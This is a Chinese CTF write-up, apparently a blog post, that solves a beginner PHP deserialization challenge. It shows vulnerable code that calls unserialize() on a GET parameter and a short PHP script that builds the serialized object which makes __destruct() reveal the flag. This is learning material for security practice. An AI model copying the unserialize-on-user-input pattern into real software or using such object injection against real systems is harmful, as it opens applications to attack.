概括
这是一道PHP反序列化的CTF赛题,本意是想用这道题对PHP反序列化进行一定的学习。
过程
我们打开赛题,看看内容
没有发现什么东西,看看他的页面代码
根据他的提示,感觉是存在一个robots.txt文件的,尝试访问一下。
进去看看。
果然如此
我们来分析一下这段代码
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
我们进行代码分析:
- error_reporting(0); :关闭PHP错误报告。
- show_source("cl45s.php"); :显示这个文件里面的内容。
- 创建了一个wllm类,然后在类里面定义了两个公共属性$admin与$passwd。
- 创建了两个函数__construct()函数和__destruct()函数,这两个的功能分别是初始化admin和passwd以及判断admin和passwd的值是否为ture。
- 如果admin==="admin",passwd==="ctf"的话,则echo出包含的flag文件
- 通过GET方式上传一个p参数,并将其传递给unserialize()函数进行反序列化。
我们可以通过实例化这个类,分别给admin和passwd赋值,然后使用序列化函数进行序列化操作,最后通过p参数进行上传访问。
脚本
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$w = new wllm();
$w->admin = "admin";
$w -> passwd = "ctf";
$w=serialize($w);
echo $w;
?>
拿下flag
总结
这道赛题让我们可以简单入门php的反序列化,其中对于代码解析上存在一些疑问。比如这里的$this->admin与$this->passwd。这里通过Google了解到,$this在OOP中是一个伪变量,简单点说就是哪个对象调用,$this就是哪个变量。
标签:__,admin,unserialize,echo,passwd,flag,2021,ez,序列化 From: https://www.cnblogs.com/AnimeBucket/p/18026293